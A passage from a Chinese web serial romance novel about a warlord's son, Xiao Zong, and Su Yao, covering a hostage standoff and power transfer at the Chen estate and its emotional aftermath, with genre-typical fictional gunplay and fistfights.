陆五朝身边的人递了个眼色，对方立刻掏枪，又打死了一个犹豫的人，在打手们惊惧的目光里，他开口威胁，“你们想和他一个下场吗？” 为了保命，众人不敢再有异议连忙听话地去封锁了陈园的大门。 “你，你这是想干什么？” 人群里，有人按捺不住开口，陆五冷笑一声，“看不出来吗？今天这事一闹，老子在海城是混不下去了，可只要你们出不去，老子换个地方，照样混得风生水起！” 那人脸色彻底变了，“你要把我们全杀了？” 喜欢少帅又把老婆气跑了请大家收藏：()少帅又把老婆气跑了更新速度全网最快。 第219章 意料之外的人 陆五冷笑一声，没再理会他，只扭头看向了萧纵，“少帅，你说你要是肯帮我，事情怎么会走到这个地步？你后悔了吗？” 萧纵没开口，只抬手往后腰摸。 陆五大笑起来，“你想找枪是吧？你别忘了，你的枪已经被这个蠢货拿走了。” 他的枪口自陈施宁脸上一扫，眼底都是讥讽。 陈施宁后知后觉的反应过来，事情好像不是自己想的那样子，刚才挣扎着骂人的气势也消了下去，满眼都是茫然。 他呜呜了几声，试图让萧纵给他解释一下。 但萧纵并不想理他，无奈之下，他伸长了腿试图去踹男人，在他小腿上印下了一个清晰的脚印。 但萧纵仍旧没理他，只往前走了一步。 往身后摸枪的手也收了回去。 “五爷，何必闹成这样。” 萧纵拿了根烟出来，在指尖转来转去，就是不抽，“也不是我不想帮你，只是众口铄金，你做的那些事情，我也保不住，利益谁不想要？我这不是没办法吗。” 陆五似是没想到萧纵这样的人也会服软，原地愣了足有两秒才笑起来，“没想到啊，真是没想到，我这辈子竟然还能看见萧少帅你服软，真是值了。” 他往前逼近一步，似乎很笃定，这屋子里，最大的威胁就是他。 他将枪口对准了萧纵的心脏，萧翼被惊得立刻走了过来，“放下你的枪！” 陆五冷笑一声，不但没有放下，反而又往男人胸口上顶了顶，“想让他活，就别动。” 他看了一眼身边的亲信，“去，把所有武器都给我缴了！” 打手们立刻上前抢走了萧翼的枪。 他没有反抗，萧纵在对方手里，他投鼠忌器，甚至在有人不肯交枪的时候，他还上前帮了忙。 很快，大厅里所有的枪支都被收缴了过来，连陈祖安的拐杖也被强行拿走。 陈祖安气得浑身发抖：“你，你们……” 打手对他还有敬畏，满脸的尴尬，手下的力道却没松。 陈平夷安抚了老爷子，“给他吧。” 陈祖安这才松了手，陈平夷扫了打手一眼：“餐刀你们也要吗？” 打手讪讪一笑，“这个就不用了。” 武器被堆在了一起，在场众人彻底失去了反抗能力。 陆五很明显地放松了下来，可大约是因为走向了绝路的缘故，他眼底癫狂却更盛：“萧纵啊萧纵，要是刚才我求你的时候，你就答应，现在就不会变成这样，都是你们逼我的，都是你们逼我的！事情变成这样，你开心了？” 他用力顶着萧纵的胸口，“既然你根本没想过要帮我，为什么刚才又要答应？耍我很有意思吗？” 他神情癫狂，颇有些渗人，萧纵却仿佛没看见，拧眉想了想后，竟然点了头，“是挺有意思的，尤其是你刚才那副震惊慌乱的样子，跟条丧家犬似的。” “萧纵！” 陆五又一次被激怒，枪口从萧纵的胸膛，抵在了他的额头，力道之大，怼得萧纵都往后仰了仰头。 “今天我要是出不去，你也得给我陪葬！” 他手背上青筋暴起，仿佛下一瞬就要开枪，来个鱼死网破。 “冷静，冷静啊。” 萧翼被惊得冷汗都下来了，脸色苍白如纸，陆五往地上啐了一口，笑容忽然得意了起来，“你们这群当兵的，平日里嚣张跋扈，还以为多了不起，原来没了枪也都是怂包。” 他抬手扣住了扳机，那细微的动静惊得所有人都寒毛直竖。 萧纵慢慢举起手，“有话好说，别冲动。” “给我开通行证，我要离开海城。” 陆五咬牙开口，手背上青筋都凸了起来，萧纵点点头，“好说，我这就让人回去拿。” “耍我？！” 陆五又被激怒了，他现在就像个炮仗，一点就炸。 “你的人出去了，回来的就是军队了吧。” “我就在这里，你怕什么？” 萧纵缓声安抚。 陆五冷笑出声，“我虽然没正经和你打过交道，可你不老实的名头，我还是知道的，拿你做人质，我可不安生……” 他目光扫过人群，苏姚心里一突，下意识侧身将萧茵和沈知心挡住，如果说最好的人质人选，那就是萧茵了。 “五叔，自家的事，别牵连旁人。” 一直很少说话的陈平夷忽然开口，她慢慢站起来，“我来做你的人质。” 陆五眯起眼睛打量了她一眼，随即笑了起来，“你一向识时务，五叔倒是很想选你，可你不够分量啊，想钳制这位萧少帅，还得是萧家人……” “话不能这么说。” 陈平夷慢慢走过来，“盗亦有道，挟持个孩子，五叔你走到哪里，都要被人不齿的。” “我现在还顾得上这些？” 陆五再次被激怒，“本来还有几年安生日子的，你们非要现在就动手，我能怎么办？事情变成这样，都是因为你们！” “五叔，你别激动，当心走火……” 话音未落，陈平夷猛地一歪头，抬手去就朝着陆五的手腕攻去，想要夺枪，陆五却仿佛早有防备，手一抬就避开了。 他看似冲动莽撞，却是粗中有细。 陈平夷一下没中，再次攻了过来，陆五面露不屑，耍猴似的陪她过了几招，才一把将人禁锢在了怀里，手里的枪仍旧指着萧纵。 他冷笑一声，“怎么，就凭你还想翻盘？平夷，你从小就聪明，难道看不出来，你弟弟是个草包？为了他费这么大功夫，值得吗？” 陈施宁呜呜叫起来，也不知道是担心还是愤怒，只是嘴被手套堵着，一个字都没能说出来。 陈平夷轻叹一声，“五叔，回头是岸，趁着还没酿成大错，认个错吧，不会要你命的。” 陆五被气笑了，枪口又往萧纵脑门上戳了戳：“我哪里有错？明明是你爹杀了人，还想推在我身上，我今天要是怂了，晚上就得死。” “你误会了。” 陈平夷苦口婆心地劝说，“大爷和三叔，真的不是我爹杀的。” “这时候还想骗我？”陆五怒道，“除了他还能有谁？！” “还有……” 陈平夷猝然仰起头看他，“我啊。” 陆五一愣，下一瞬，颈侧一片冰凉，他意识到那是什么，本能地扣动了扳机。 一声空响过后，满室皆惊。 陈平夷缓缓抬起手，轻轻一侧，几颗子弹乒乒乓乓地掉了下来。 第220章 撕破脸 陆五神情呆滞了一瞬，他不敢置信地看着自己的枪，什么时候被卸了子弹的？ 他竟然完全没察觉，怎么会…… 他不死心地不停扣动扳机，萧纵似是耐心告罄，抬手将他的枪拿走了，“差不多行了，没完没了是吧？” 手里空了下来，陆五却仍旧维持着握枪的姿势。 “五叔啊，玩了这么多年的枪，怎么连重量都分不清楚？” 陈平夷轻啧一声开口，慢慢从他怀里走了出来。 陆五没敢动，刚刚这一瞬间发生的事情太多，变故太大，实在是让他有些回不过神来，怔愣了许久，才稍微冷静了一些，“你刚才说的，是真的？都是你下的手？” 陈平夷一挑眉，“五叔，你说什么呢？什么我下的手？” 陆五没再大喊大叫，他的确冲动，但不是完全没脑子，这种事情，陈平夷不可能当众承认，哪怕刚才他听得无比清楚。 他重新审视着面前这个人，眼底逐渐染上愤怒，“所以，从头到尾，都是你在算计我？你留下我，就是为了让我当这个替罪羊？” “五叔的话，怎么越说越奇怪了。” 陈平夷耸了下肩膀，她和陈施宁是双胞胎，出生前后不过相差几分钟，可给人的感觉却全然不同。 刚才陈施宁拿着枪大喊大叫的时候，他只觉得可笑，可现在，陈平夷只是这么看着他，他就从对方身上感受到了威胁，很强烈的威胁。 这也让他越发愤怒。 他跟着陈祖安打天下的时候，陈平夷还没出生呢，这样一个丫头片子，竟然把他算计到了这个地步。 他不死心地开口，“你敢说，你爹一点都不知情？” “知情什么？” 陈平夷仍旧是那副无辜模样，看得陆五牙根发痒，也无比清楚地意识到，陈平夷不可能再给他任何机会翻盘。 可他不会这么认输！ “平夷真是长大了，五叔眼里的你，还是这么点大的孩子……” 他在身前比划了一下，下一瞬，他骤然出击，有力的大手直冲陈平夷手腕，他生得强壮，力道极大，这一下落了实，陈平夷的手八成要废了。 可不等他手落下，颈侧就是一阵剧痛，强烈的刺激和恐惧之下，他没有任何退缩，仍旧攻了下去，掌心处却一片冰凉，紧跟着就是火辣辣的剧痛。 他的动作迟了一步，抓到的不是陈平夷的胳膊，而是她手中的餐刀。 不算锋利的刀锋，在他掌心划出了血淋淋的伤口，鲜血瞬间溢满手掌。 然而他却根本顾不得，因为颈侧也在出血，他抬手用力捂住伤口，看向陈平夷的目光既狰狞又可怖，“你真的敢对我下杀手？！” 他怒吼一声，瞳孔里满是不敢置信。 陈平夷看了看手里的刀，又看了看活蹦乱跳的陆五，轻轻一颔首，“第一次用，没分寸，让五叔你遭罪了。” 陆五的脸色肉眼可见的紫涨起来，他抖着手指着陈平夷，“好，好！不让我活，你们都给我死！” 他一把抢过打手手里的枪，抬手就朝着陈施宁下手。 既然陈平夷费尽心思为陈施宁铺路，那他就先杀了陈施宁。 萧纵低骂一声，一把掀翻了桌子，厚实的圆桌摩擦着地面，声音十分刺耳，却稳稳当当地矗立在陈施宁身前，挡住了陆五射来的子弹。 所有人都因为这层变故而惊慌失措，场面瞬间混乱起来。 气头上的陆五，明知道打不到人，却仍旧一口气打光了子弹，这才看向打手们，“愣着干什么？把人都给我逮回来，一个都不能少！” 打手们瞬间冲了出去，本就慌张的人群，越发混乱起来，苏姚一把抓住身边的沈知心，正要再去找萧茵，却发现身边已经空了。 她连忙朝人群看去，可萧茵还小，被人群一挟裹，根本看不见人影。 她忍不住骂了一声，萧纵这个王八蛋，知道今天陈园会出事，为什么还要带萧茵过来？ “嫂子，你先去找萧茵吧，我自己可以的。” 似是看出了她的焦急，沈知心十分懂事的开口。 苏姚抓紧了她的手，这孩子就是太懂事了，不管怎么说，她也才十三岁，她不可能为了一个人，就丢下另一个。 “走，我们先找个安全的地方。” 她拉着沈知心就往外走，萧茵从人群里挣扎出来，刚好看见两人的背影。 “苏姚，苏姚，我在这里！” 她扯开嗓子大喊，可周围太乱了，声音很快就被淹没了，苏姚更是头都没回一下。 萧茵呆在原地，一时间只觉得难受的厉害，连逃跑都没了力气。 “这是不是萧家的孩子？” 一个打手冲过来，看见她眼睛一亮，伸手就要来抓她。 危机面前，萧茵才终于回神，转身就跑，可她毕竟是个孩子，哪里跑得过成年人，没多远就被人抓住了胳膊，“还想跑？” 对方将她的胳膊反手一拧，就带着往回走，萧茵奋力挣扎，却毫无用处，情急之下，她抓着男人的胳膊就是狠狠一口。 男人吃痛，下意识松了手，萧茵抓住机会，抬腿就跑，面前却又多了个打手，堵住了她的去路。 她再次被抓住，身后的男人追了上来，脸色十分狰狞，“小贱人，敢咬我。” 他龇牙咧嘴，抡圆了胳膊，狠狠打了下来。 第221章 死鸭子嘴硬 萧茵被人钳制着胳膊，根本躲不开，眼看着巴掌越来越近，她本能地闭上了眼睛。 巴掌却迟迟没有落下，反倒是耳边响起了一声痛呼，很快，钳制着她的人也松开了手，她一愣，连忙睁开了眼睛。 就见苏姚一个背摔，将人砸在了地上，随即抓着头发往地面狠狠一砸，对方瞬间没了动静。 钳制着她的打手想要上前帮忙，却不等靠近，就被一脚踹在心口，随即苏姚追上来，一个侧踢，正中对方头部，男人瞬间瘫软了下去。 刚才两个耀武扬威，凶神恶煞的人，一瞬间全都没了威胁。 萧茵像是看傻了一样，站在原地没动，直到苏姚快步走过来，“没事吧？” 察觉到那温热的掌心，熟悉的语气，萧茵“哇”的一声哭了出来，一头扑进了苏姚怀里，“我以为你不管我了……” 她哭得太凶，仿佛要将这些日子受到的委屈全都发泄出来。 苏姚都愣了一下，好一会儿才轻叹一声，抬手揉了揉萧茵的头，“好了，别哭了，我们得找个安全的地方藏起来。” 萧茵用力点头，十分乖顺，只是一边点头，她一边用力擦着脸颊，眼泪却好像决堤了一样，怎么都擦不干净。 苏姚正要掏帕子给她擦一擦，就又有打手找了过来，她拿起手包，一个大嘴巴扇了过去，趁着对方晕头转向的时候，她拉着萧茵就走，大厅里却传出来一声惊呼，“少帅！” 苏姚心头一跳，脚步猛地顿住。 萧茵显然也听见了，眼泪都忘了擦，“是大哥出事了吗？” 苏姚没有犹豫，拉着萧茵就走，“先不管他，我们先找个安全的地方。” 就算里头的萧纵真的出了事，她带着萧茵进去，也只是添乱，至少要把这个孩子安顿好才行。 她匆匆带着萧茵走到了僻静的院子里，沈知心正在里面等着她，这地方还是她告诉苏姚的，说这是陈平夷的院子，她来过几次，刚好记得路。 “你们在这里等我，等前面没事了，我再来找你们。” 她目光落在沈知心身上，“刚才告诉你的，你还记得吧？” 沈知心抬起手，萧茵这才发现，她手里拿着一把枪。 “我记得，只要进来的人我们不认识，就打死他。” 苏姚点头应了一声，转身朝大厅跑去。 萧茵没有跟上，她隐约意识到了自己跟上去只会添乱，却下意识地看了眼沈知心，她比自己大不了几岁，怎么这么冷静呢？ 陈园一片混乱，到处都是惊恐的尖叫声和辱骂声。 苏姚往礼堂去的过程里，沿路遇见了不知道多少陆五的打手。 这些人出乎意料的拼命，大约是很清楚，事情变成现在这样，除了跟着陆五离开海城，他们已经没有别的路可走了。 她一脚踹开拦路的人，快步冲进了大厅，里头已经一片混乱，陆五不愧五爷的称呼，那一身腱子肉也不是摆设，她一进门就瞧见萧翼被他踹飞出来，她连忙伸手接了一把，萧翼这才没摔在地上。 “没事吧？” 她关切地问了一句，这一开口，萧翼才发现来的人是她，脸色一瞬间竟然涨红了。 “苏，苏小姐……” 他忽然反应过来，猛地站直了身体，“我没事，别看他长得结实，其实根本不是我的对手。” 苏姚一哽，眼角余光瞥见又一道人影跌跌撞撞地退过来，她连忙又接了一把，等人停下她才看清楚是萧纵。 她忍不住睁大了眼睛，萧纵竟然也不是对手？ “不要紧吧？” 听出她的声音，萧纵愣了一下，“你怎么在这？这里不安全。” 他下意识站直了身体，盯着苏姚上下看了一眼，见她没事才开口，“你不是和萧茵沈知心在一起吗？她们呢？” “你还知道问萧茵啊？” 说起这个，苏姚气不打一处来，“你明知道这里会出事，为什么还要带她？没有你这么做哥哥的。” 萧纵被劈头盖脸一顿训，呆了片刻才回神，却不等开口说什么，就先侧头咳了起来。 他随手抹去嘴角的血沫，“她总得见见这些东西……她没事吧？” 苏姚被这句话气得不轻，忍不住冷笑了一声，“有事就晚了。” 虽然是嘲讽，但萧纵还是松了口气，“多谢你照顾她。” 苏姚没理他，目光落在陆五身上。 陈平夷应对这场家变，也是做了准备的，只是陆五实在是凶悍，十来个陈家伙计围攻他，都不能近身，还被他伤了好几个。 “陆五爷果然名不虚传，连你们都不是对手。” 萧纵皱了下眉，“一个莽夫，没那么难办。” 这话和刚才萧翼说的，简直异曲同工，不愧是一起长大的。 苏姚笑了一声，却没给他留面子，“你刚才还被人打飞了。” 萧纵一噎，罕见地涨红了脸，他抬手摸了下胳膊，低低骂了句什么，随即看向萧翼，“走吧，再不打回去，就要变成废物了。” “可是……” 萧翼下意识开口，目光落在了萧纵胳膊上，但不等他说完，萧纵就不见了影子，似是为了争一口气，他迎面一脚直击陆五面门，却被对方双手交叉挡住。 陆五不是傻子，已然发现了他胳膊上有伤，抓着他的伤处死咬着不放，几次都险些让萧纵伤上加伤，萧翼看得胆战心惊，连忙上去帮忙。 好在陆五毕竟是个人，轮番折腾下来，逐渐精疲力竭，被陈平夷抓住机会，押在了地上。 场面终于稳定下来，外头到处抓人的打手们也被陆陆续续制服，押在了院子里。 事情走到这个地步，苏姚终于看明白了。 今天这出戏，主角是陈平夷。 萧纵想稳住陈家的局面，不过是动动手指头的事，可他却一再退让，还大费周章的肉搏，一是为了钉死陆五杀害兄弟的罪名，二是要让陈平夷亲手抓住他。 只凭这件事的威望，就足以让她顺利接管陈园。 可看起来，萧纵并不是对陈施宁毫不在乎，那为什么达成合作的，会是陈平夷呢？ 还是利益吗？ “我就说吧，一个莽夫，不用费多大功夫。” 萧纵的声音忽然想起来，说着话他慢悠悠走了过来，苏姚复杂地看了他一眼，余光却瞥见一抹红，她微微侧头，果然瞧见萧纵胳膊上带着血色，“你受伤了？” 萧纵下意识侧了侧身，“不是我的，这里的事情了结了，你去把她们两个带过来吧，我们待会就回去，剩下的就不掺和了。” 苏姚看了眼周遭，确定场面的确控制住了，这才去找两个孩子，萧茵很担心萧纵，一路上都在问，可等他们回到礼堂的时候，萧纵却不见了。 “他人呢？” 萧翼神情尴尬，“少帅刚才有点急事，就先走了。” 苏姚一愣，萧茵还在呢，萧纵看都不看一眼，就这么自己走了？ 第222章 绝交 苏姚气不打一处来，萧纵这个人，眼里是真的只看得到利益吗？ 可到底是别人的家事，她也不好多嘴。 “你们先回去吧，我去找主人家道个别。” 道别是假，她要趁着人都聚在这里，探一探陈园才是真。 她又折返回大厅，萧翼下意识追上来，“苏小姐，我去说就行了，你还是先……” “我是连句道别都不会说吗？” 苏姚没好气地看他一眼，“怕丢你帅府的人是吧？” “不是，我没有这个意思。” 萧翼被骂得连连摇头否认，苏姚却懒得听他解释，直接打断他，“你跟她们一起回去吧，我待会自己走。” 萧翼还想再说什么，可只看见了苏姚越走越远的背影，只好将嘴边的话咽了回去。 他可是尽力了，虽然没能拦住，但少帅也不能怪他。 萧纵猛地打了个喷嚏，听着耳边的呜呜声，抬腿不轻不重地给了陈施宁一脚，“还有脸叫唤，你就在上面给我冷静冷静吧。” 陈施宁显然也回过味来，意识到自己误会他了，挨了踹也不生气，挤眉弄眼地讨好他，示意他把塞在自己嘴里的手套拽出来，好歹让他说句话。 萧纵靠在一片废墟里，眼皮滚烫，嘴角却还噙着笑，“哟，现在不想揍我了？” 陈施宁笑容越发谄媚，萧纵捡起一颗不知道从哪里滚过来的花生，扔在他身上，“老子现在看你不顺眼，不想给你松绑……” 他用力甩了下头，身体却不受控制地瘫软下去。 陈施宁看出来他不大对劲，呜呜几声，艰难地伸出腿去踹了踹他。 萧纵睁开眼睛，又捡了一个花生丢在他身上，“别吵我，等我歇一会儿，我再放你下来。” 他缓缓吐了口气，艰难坐直了身体，扯开衬衫去处理自己流血不止的伤口。 陆五这个王八蛋，下手真黑，都快赶上他老子了。 他解开绷带，血窟窿出现在眼前。 陈施宁似是看不了这场面，猛地闭上眼睛扭开了头。 萧纵却开了口，“施宁，问你个问题。” 陈施宁眼睛掀开了一条小缝，要看不看地瞥了一眼，“呜呜。” 你要问我话，倒是先把我的嘴给放开啊。 萧纵只当没听见，他手嘴并用，用力地勒紧绷带止血，大约是太疼了，他的脸色肉眼可见的苍白下去，额角都是冷汗。 陈施宁再次闭上了眼睛，他是真看不了这场面。 萧纵安静了好一会儿才再次开口，许是因为咬住了绷带的原因，他声音有些含糊，“如果你爹和我起了冲突，你怎么办？” 陈施宁愣了一下，随即笑了出来，许是笑得太剧烈，嘴里的手套竟然掉了出来。 “你发什么疯啊？这问得什么乱七八糟的，我爹对你比对我都亲，他怎么会和你起冲突啊。” 萧纵无力地靠在身后的废墟上，绷带从嘴里掉了出去，他缓了缓，才一扯嘴角，意味不明地看过去，陈施宁在回避，他不知道要怎么处理这个问题。 “那我换个说法，陈家重要，还是你爹重要。” 陈施宁叹了口气，“你到底想干嘛？我爹和陈家不是一起的吗？分什么主次？” 他说着岔开了话题，“你那个伤怎么老不好？你给我解开，我给你处理一下。” 还是回避的态度。 萧纵轻轻吐了口气，没再说别的，但也没动，他的想法是对的，陈施宁的确不适合做陈园的当家人，眼下的选择，是最好的。 “我不用你，你就老实呆着吧。” 陈施宁还要说什么，陈家的伙计忽然跑了进来，却不是找他的，而是径直奔着萧纵去了—— “少帅，小姐打算当众处理五爷，您要去观刑吗？” 萧纵摆摆手，“你们自家的事，我就不掺和了。” 伙计答应一声就要走，却被陈施宁喊住，“你走什么？没看见我还被绑着吗？给我松开。” 伙计尴尬地看了一眼萧纵，却站着没动。 陈施宁气得想笑，“我是你少爷，还是他是你少爷？” 萧纵瞥了陈施宁一眼，伙计这才上前，将人给放下来。 陈施宁活动了一下手脚，目光落在萧纵身上，“我先去给你找个大夫，你帅府的医生是不是得换了？这伤越治越糟糕。” 萧纵肉眼可见地绷紧了身体，却什么都没说，只看着陈施宁走了出去。 不过几分钟，人就又回来了，他像是遇到了什么不敢置信的事情，站在门口盯着萧纵看，脸上的神情从茫然，到恍惚，又逐渐变得落寞。 萧纵对他的变化毫不惊讶，显然一切都在他预料之中。 似是看明白了这一点，陈施宁脸上陡然炸开了愤怒，他大步走过来，一把抓住了萧纵的领子。 “怎么回事？到底是怎么回事？你，我姐，我爹，你们在干什么？” 他怒吼一声，满心的不敢置信。 他刚才出去，刚好听见陈祖安将陈园交给陈平夷，所有人都心悦诚服，好像完全忘了他这个人。 “你们什么时候勾搭上的？你们是不是早就想好了，要把我踢出去？” 这声质问声嘶力竭。 苏姚摸了一圈，没发现奇怪的地方，正往这边来找陈家人，被声音惊动，透过窗户看了一眼，刚好瞧见两人针锋相对。 她有些诧异萧纵还在这里，却没打算理会，可也不知道萧纵说了什么，陈施宁忽然失控起来，他抓着萧纵的衣领就把人从地上提了起来。 看那样子，像是又要给他一拳。 “别动手。” 苏姚连忙绕到门口进来，这才瞧见萧纵一身狼狈，胳膊上都是血，精神也很萎靡。 她竟然忘了萧纵胳膊上还有个很厉害的伤，怪不得刚才一直束手束脚。 “有什么事好好说，你们别吵架。” 出于刚才嘲讽人的愧疚，她开口劝架，陈施宁却越发愤怒，他整个人都在抖，“你把刚才的话再说一遍。” 萧纵面无表情地看着他，一字一顿，无比清晰道：“你不适合这个位置。” “你说我不适合我就不适合了？！萧纵，你们都是我最亲近的人，结果你们联合起来欺骗我，算计我！有你们这么干的吗？啊？！” 陈施宁的身体止不住地战栗，拳头捏得卡巴作响。 “陈少！” 苏姚下意识想劝阻，萧纵却朝她摇了摇头。 苏姚只好停了下来，算了，反正是萧纵的事，他自己决定吧。 下一瞬，陈施宁的拳头就又落在了男人脸上，萧纵被打的侧开头，抬手擦去血沫才开口，“我和她约法三章，该是你的，还是你的，只是……” “呸！” 陈施宁恶狠狠啐了他一口，“老子是稀罕这些东西吗？萧纵，老子到底哪里对不起你，让你瞧不起我，还这么算计我……” 他看起来又要哭了，仰起头用力喘了几口气，随即一把扔开萧纵。 “就当我这次是被狗咬了一口，老子以后再也不想看见你，咱们绝交！” 他起身就走，刚才看见萧纵答应陆五的时候，他都没提绝交两个字，可见是真的被伤了心。 萧纵下意识直起身体去拉他，却又在下一瞬跌了回去，只能眼睁睁看着陈施宁走了。 眼看着这场闹剧落下帷幕，苏姚这才上前，掏出帕子给他摁住了伤口，气氛一时有些沉默，萧纵似是用尽了力气，靠在废墟上一动没动。 苏姚犹豫了很久，还是开口，“你选择陈小姐，是因为他给得比陈少多吗？” 第223章 人心不可测 萧纵的身体微不可查地一颤，他睁开眼睛看过来，什么都没说，伤口的血却越流越多。 “我只是随口一问，你的事我没打算多管。” 苏姚摁住他的伤口，开口解释了一句。 萧纵又闭上了眼睛，很久之后才开口，“你还记得，秦芳年吗？” 苏姚不知道他为什么这时候提起这个人，却仍旧应了一声，“当然记得。” 话音落下，她才回过味来，眼底闪过几分不可置信，“你的意思，该不会是她和陈园有关系吧？那天和秦芳年接头的人难道就是……” “嘘。” 萧纵轻声开口，他透过窗户看了外头一眼，“代价付了，这事就算过去了。” 苏姚的神情却越发震惊，怪不得见到陈祖安的时候，萧纵态度大变，明明之前那般亲近，这次见面他却一点情面都没给。 还真是人心不可测啊。 她刚才还以为，是陈祖安大势将去，萧纵在拜高踩低。 这误会，太大了。 她忽然生了一点歉疚，很快又想起陈施宁来，“所以，你选择陈小姐也是不想让陈少陷入两难的境地？” “他那个性子，解决不了问题的，” 萧纵声音很低，听起来像是没力气了，“但陈平夷不一样，我只是送了接头人的东西过去，她就自己查清楚了，给我开了诚意十足的条件，既保全了陈园，也保住了陈伯父，比起施宁来说，她真的合适太多了。” 听起来倒是合情合理，可是…… “如果，你不追究呢？毕竟你也没受到什么损害。” 苏姚再次开口，带着几分调侃，她其实知道，在萧纵这个位置上的人，很多事情不能凭心意和私情，威严是必须要维护的东西。 萧纵却听得满脸愕然，没受到什么损害…… 脑海里闪过苏姚蜷缩在地上的场景，萧纵嘴唇动了动，却什么都没说，几秒后，他才低低开口： “我想，抽根烟。” 苏姚在他衣袋里摸出了烟和打火机，“需要我给你点吗？” 萧纵扯了下嘴角，笑得很难看，“这点力气，我还是有的，你走远一点吧。” 苏姚从善如流，走开了两步，只是刚一转身，就听见了咳嗽声。 她回头，就看见萧纵正捂着胸口。 刚才还好好的，怎么忽然就咳了？ 她有些纳闷，但也没在意，透过窗户看外头陈平夷从陈祖安手里，接过了象征着陈园掌权者身份的扳指。 身后又响起了咳嗽声，她再次回头，为什么又咳嗽？ 她蹙起眉头，不声不响地盯着他看。 然后就看见，萧纵抽一口，咳几声，抽一口，咳几声。 许是之前挨了陈施宁两拳的缘故，咳着咳着，他嘴角就又带了血迹。 心头忽然窜上来一股无明火，苏姚抬脚走过去，一把夺过他的烟，摁灭在了地上，“咳成这样，你就不能消停会儿吗？” 萧纵显然是第一次被夺烟，整个人都有些愣，手指甚至还维持着拿烟的姿势。 好一会儿他才转了下眼珠，看向被苏姚摁灭的烟，又看了看苏姚，神情很古怪，很奇异。 苏姚只当他是不满自己的放肆，将烟头重新塞回他手里，“你想继续抽也可以。” “不敢。” 萧纵忽然咧嘴笑起来，将烟头一扔，“我们回去吧。” 他情绪说变就变，刚才还死气沉沉的，忽然间就有了精神，苏姚很莫名，却仍旧扶了他一把，“你刚才让萧翼骗我们说你走了，就是想单独处理和陈少的事？” “总要说清楚的，反正也瞒不过去。” 萧纵含糊了一句，抬手扶了把柱子才勉强站稳，可苏姚刚才压在他伤口上的帕子，却肉眼可见地被鲜血浸透了。 苏姚也处理过不少伤口，有了点医学常识，怎么看怎么觉得这伤不对劲。 “你这伤，医生怎么说？” 萧纵扶着柱子缓了缓，刚才起得太急，他有些头晕。 “翻来覆去都是那些废话，没什么新鲜的。” 苏姚眉心忽然跳了一下，不知道为什么，就想起了自己的腿疾。 “你换个医生吧。” 她想起了自己的那盒针剂，“你不是认识很厉害的医生吗？既然对方能做出我用的针剂来，说不定也能看出你这个伤口的问题。” 萧纵忽然垂眸看过来，神情柔软，眉眼弯弯，看着心情极好。 苏姚有些弄不明白他在抽什么风，见他只看着自己也不说话，忍不住催了一句，“说话呀。” 萧纵这才笑了一声，“让人办事，要么给出筹码，要么拿住把柄，把柄已经用了，筹码……” 他顿了顿，“我现在还给不起。” 萧纵给不起的筹码？海城竟然有人敢和萧纵狮子大开口？ 苏姚很惊讶，她再次想起自己的那盒针剂，如果连萧纵让对方办事都这么困难，那她的针剂是怎么来的？ 她忽然反应过来，萧纵口中的把柄。 难道…… 她不可思议地看向男人，有把柄不留着，给她换了针剂吗？ 第224章 原来这样有用 她有心和萧纵求证，可话到嘴边，却又哽住了。 万一，事情真是自己想的那样子，那她…… 她不由自主地停在了原地，她无法想象萧纵这样的人，会为她不计利益，做到这个地步。 如果真的发生了这种事…… 她用力摇了下头，果然是不能问的，不管事情是不是自己猜测的那个样子，她都不能在意，她是为了找唐黎来的，不能因为任何事情偏离。 哪怕萧纵可能改变了一些，有了一点良心，也不行。 “走啊。” 萧纵忽然开口，苏姚抬头看去，就见他逆着光站在门口，正回过头来，十分专注地看着她。 苏姚下意识避开了他的目光，缓缓吐出两口气，才抬脚走了过去，伸手扶住了他。 陈园的事已经进入尾声，两人没有打扰，悄无声息地离开了。 萧翼做事妥帖，给他们留了辆车，苏姚上车后就没开口，萧纵也没说话，气氛十分安静。 冷不丁肩膀却沉了一下，苏姚侧头，就看见萧纵不知道什么时候，靠在了她身上。 她只当萧纵是故意的，抬手推了他一下，这一碰触才发现，他额头滚烫，是又发烧了。 “少帅？” 她唤了一声，萧纵语气含糊，声音也低，若不是苏姚靠得近，几乎听不见他说什么。 他说的是，我没睡，你说。 苏姚叹了口气，改推为扶，将他放在了自己腿上。 萧纵烧得厉害，并没有注意到姿势变化，仍旧合着眼睛，眉峰却蹙了起来。 苏姚这才发现，一年不见而已，他眉心的川字纹竟然这么深了。 她抬手揉了两下，思绪有些飘，立场相左，双方打起来好像已经成了定局，不知道那个时候，她和萧纵，会不会在战场上遇见。 她想得太入神，直到司机开口，她才发现车子已经停了下来，她已经回到帅府了。 萧纵眼睛还闭着，虽然睡着，却并不安稳。 “醒醒，我们到了。” 苏姚一开口，他就睁开了眼睛，但在看清楚自己的位置时，他眼底闪过明显的惊讶，他仰头看看苏姚，又看看周围，眼底闪过恍然大悟。 “还能这样……” 苏姚没听清，下意识低了低头，“你说什么？” 她的发丝滑下来，就扫在萧纵脸上，他本能地捋了一把，却没来得及抓住。 “我头晕，还想再躺一会儿。” 苏姚没多想，只当他是真的不舒服，“回房间吧，让医生给你处理一下伤口。” 萧纵充耳不闻，捂着头喊晕：“不行，站不起来了……” “这么厉害？” 苏姚也有些着急，不管怎么说，萧纵现在都不能出事，她还没找到唐黎呢。 “快，去把医生喊过来。” 她连忙开口，司机不敢耽搁，连忙下去了。 苏姚打开车门通风。 外头又下起了雨，空气潮湿黏腻，但好歹也送来了一丝凉气。 她担心萧纵中暑，抓过手包给他扇风，“除了头晕还有别的感觉吗？热不热？呼吸顺畅吗？” 她低声询问，却没得到回应，一垂眸才发现萧纵正目不转睛地盯着她看，双眼发亮的样子，怎么看都不像是晕到站不起来的样子。 苏姚心头忽地一动，盯着他看了两眼后，忽然毫无预兆地惊叫了一声。 萧纵一个激灵坐了起来，“怎么了？” 苏姚捏紧了手包，咬着牙开口，“不是站不起来吗？怎么这么利落？” 萧纵神情一僵，心虚地看了她一眼。 苏姚哼笑一声，起身下了地，萧纵连忙跟过去，拉住了她的手，“苏姚，别生气，我就是没想到你能让我枕你的腿，我一时没忍住……” 苏姚甩开他的手，还瞪了他一眼。 萧纵好像没看见一样，又去抓她的手，苏姚很想推开他，可医生已经从副楼出来了，她只好忍住了手边的动作，“你快去处理伤口吧，我去换套衣服。” “那你换完衣服还过来吗？” 萧纵狗皮膏药一样又粘了过来，苏姚绕了几次都没绕过去，只好停下来看着他，“我过去干什么？又帮不上忙。” “那就看着我啊。” 萧纵靠近一步，垂眸看着她，“就多看我一会儿。” 许是雨丝太细碎，天气太潮湿，苏姚竟然被看得很不自在。 她一把推开萧纵就要走。 “苏姚，苏姚……” 